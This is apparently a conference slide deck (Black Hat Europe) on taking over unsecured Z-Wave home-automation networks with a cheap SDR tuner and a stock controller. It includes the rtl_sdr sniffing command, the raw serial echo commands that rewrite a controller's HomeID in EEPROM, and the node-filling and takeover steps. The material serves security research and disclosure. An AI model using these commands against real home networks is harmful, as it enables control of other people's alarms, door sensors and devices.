A universal controller to take over a Z-Wave network
A universal controller
to take over a Z-Wave network

Loïc Rouch
loic.rouch@inria.fr

Frédéric Beck, Jérôme François, Abdelkader Lahmadi
Sigma Designs
Based on ITU-T G.9959 standard

Low energy
~50m range
Meshed network, Auto discovery
Uses ISM radio bands (Industrial, Scientific and Medical)

Since 2013: Z-Wave+
Added a secure mode
unsecure vs secure mode

✗ Based on a unique identifier (HomeID)
✗ Security by obscurity
✗ No ciphering

✔ Ciphered communications, BUT
✔ Not supported by every devices
✔ Not enabled by default
✔ Requires a specific action to activate it
✔ Insufficient information for consumers
Z-Wave network
Target network

- Z-Wave controller
- LED bulb (simulate alarm)
- Door sensor
- Raspberry Pi with Jeedom
Attacker installation

Z-Wave attacker controller

DVB-T tuner
### HomeID and nodeID

**HomeID**
- **32 bits → 4 billions of possibilities**

**nodeID**
- **8 bits → 256 possibilities**

**HomeID**:
- `1EC3D367`
- `nodeID`: `1`

**HomeID**:
- `–`
- `nodeID`: `0`
Association/Pairing

Controller

Slave

Slave inclusion

Switching to inclusion mode

NIF - Node Information Frame

Add slave in memory

Sending information

Inclusion information

NIF to confirm

Slave included

Switching to inclusion mode

Included in the network
4 Basic Device Classes
~20 Generic Device Classes
~70 Specific Device Classes
~100 Command Classes
Association/Pairing

HomeID: 1EC3D367
nodeID: 1

HomeID: –
nodeID: 0

HomeID: 1EC3D367
nodeID: 1

HomeID: 1EC3D367
nodeID: 2

Necessary step to communicate with a device/node
Existing work

• Complex attacks
• Operation hazard
  - Unclear instructions for reproductibility
  - Uncontrolled environment (hard to debug)
  - Complex analysis, many things to consider
  - Proprietary and closed protocol (until recently)
• Requires specific hardware
  expensive, difficult to use, to maintain
Goal: simplify, improve reliability

- Avoid specific hardware
- Take full advantage of official hardware certified by the Z-Wave Alliance
- Focus on unsecured mode
Central point: the HomeID

Unique

Set during controller manufacturing
Randomly modified when controller is re-initialized

Not editable by hand
Central point: the HomeID

Unique

Set during controller manufacturing  
Randomly modified when controller is re-initialized

Not editable by hand
First things first

Get the HomeID
Get the HomeID

Software Defined Radio to the rescue!
Get the HomeID

https://github.com/baol/waving-z

$ rtl_sdr -f 868420000 -s 2000000 -g 25 - | ./wave-in -u
Get the HomeID

[Image: Wave-in device]

https://github.com/baol/waving-z

$ rtl_sdr -f 868420000 -s 2000000 -g 25 - | ./wave-in -u

```
01 84 fa c6 14 41 01 0e 01 30 03 ff 0a db 00 00 00 00
[x] HomeId: 184fac6, SourceNodeId: 14, FC0: 41, FC1: 1, FC[speed=0 low_power=0 ack_request=1 header_type=1 beaming_info=0 seq=1], Length: 14, DestNodeId: 1, CommandClass: 30, Payload: 03 ff 0a
```
Set the HomeID in your controller

SO YOU'RE TELLING ME I CAN CHANGE MY CONTROLLER'S HOMEID...
Set the HomeID in your controller

Exploiting the backup/restore feature
Backup/Restore feature

Archive containing the entire configuration of the controller

$ tar -xvzf z-way-backup-2017-11-22-18-40.bzk
zddx/e13c2c99-DevicesData.xml
Rules.xml
Defaults.xml
maps/.keep
maps/1.jps
maps/

Including the HomeID

<data name="homeld" invalidateTime="1511371990" updateTIme="1511371991" type="int" value="-516150119"/>

→ modify and restore
Backup/Restore feature

✔ Modifies HomeID

✗ Removes every registered nodes

✗ Tedious and long process

✗ Have to use Z-Way Server
Directly change the HomeID

Watching Z-Way Server

```
[2017-11-22 17:55:42.926] [D] [zway] SENDING: ( 01 0c 00 2b 00 00 08 00 04 de ad be ef f6 )
[2017-11-22 17:55:42.927] [D] [zway] RECEIVED ACK
[2017-11-22 17:55:42.936] [D] [zway] RECEIVED: ( 01 04 01 2b 01 d0 )
[2017-11-22 17:55:42.936] [D] [zway] SENT ACK
[2017-11-22 17:55:42.936] [I] [zway] Job 0x2b (Write bytes to extended EEPROM): Done
[2017-11-22 17:55:42.936] [D] [zway] Job 0x2b (Write bytes to extended EEPROM): success
[2017-11-22 17:55:42.956] [I] [zway] Removing job: Write bytes to extended EEPROM
[2017-11-22 17:55:42.956] [D] [zway] SENDING: ( 01 25 00 2b 00 05 80 00 1d 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 )
[2017-11-22 17:55:42.959] [D] [zway] RECEIVED ACK
[2017-11-22 17:55:42.966] [D] [zway] RECEIVED: ( 01 04 01 2b 01 d0 )
[2017-11-22 17:55:42.966] [D] [zway] SENT ACK
[2017-11-22 17:55:42.966] [I] [zway] Job 0x2b (Write bytes to extended EEPROM): Done
[2017-11-22 17:55:42.966] [D] [zway] Job 0x2b (Write bytes to extended EEPROM): success
[2017-11-22 17:55:42.986] [I] [zway] Removing job: Write bytes to extended EEPROM
```

HomeID modification command

```
$ echo -e "\x01\x0c\x00\x2b\x00\x00\x08\x00\x04\xde\xad\xbe\xef\xf6" > /dev/ttyACM0
$ echo -e "\x01\x25\x00\x2b\x00\x05\x80\x00\x1d\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68" > /dev/ttyACM0
```
Directly change the HomeID

- ✔ Modifies the HomeID
- ✔ Keep all registered nodes
- ✔ Simple and fast process
- ✔ Doesn’t require any specific software
- × Universal controller (all nodes pre-registered)
Reminders

Controller transmission limited to registered nodes

Association/Pairing mandatory to add a node

Registered node ≠ Controlled node

Nodes polling at startup (Auto discovery)
Filling with nodes

- Use a device to fill in the controller (e.g.: Z-Wave outlet)
- Include node (1 node in memory)
  Reset node
- Include node (2 nodes in memory)
  Reset node
- ... 232 times
Target network discovery

OpenZWave Control Panel

Controller Interface
- Device name: Anya/2013
- Controller Status: Ready

Backup Controller
- Save...
- Changes need saving...

Network
- Select an operation: 

Controller
- Select an operation: 

Functions
- Select an operation: 

Devices

<table>
<thead>
<tr>
<th>Node Id</th>
<th>Basic Type</th>
<th>Generic Type</th>
<th>Product</th>
<th>Name</th>
<th>Location</th>
<th>Value</th>
<th>Last Heard</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>25</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>26</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>27</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>28</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>29</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>30</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>31</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>32</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>33</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>34</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>35</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>36</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>37</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>38</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>39</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>40</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>41</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>42</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>43</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>44</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>45</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>46</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>47</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>48</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>49</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
<tr>
<td>50</td>
<td>LBR</td>
<td>Routing Slave</td>
<td>Binary Power Switch</td>
<td>Anya/2013</td>
<td>11:20:00</td>
<td>0455</td>
<td>Probe</td>
<td></td>
</tr>
</tbody>
</table>

Current Values

Configuration
- Submit

Information
- Refresh

Log output

#BHEU / @BLACK HAT EVENTS
Attack steps

Listening

Target

Attacker

1EC3D367

1EC3D367

1EC3D367
Attack steps
Changing HomeID

Target

Attacker

1EC3D367
Attack steps
Scan/Discovery and target network takeover

Target

Attacker
Takeaways

- Created a universal controller!
- Innovative, simple attack
  Takeover of target network with mainstream controller
- Low cost
  - 35€ Z-Wave controller
  - 15€ DVB-T tuner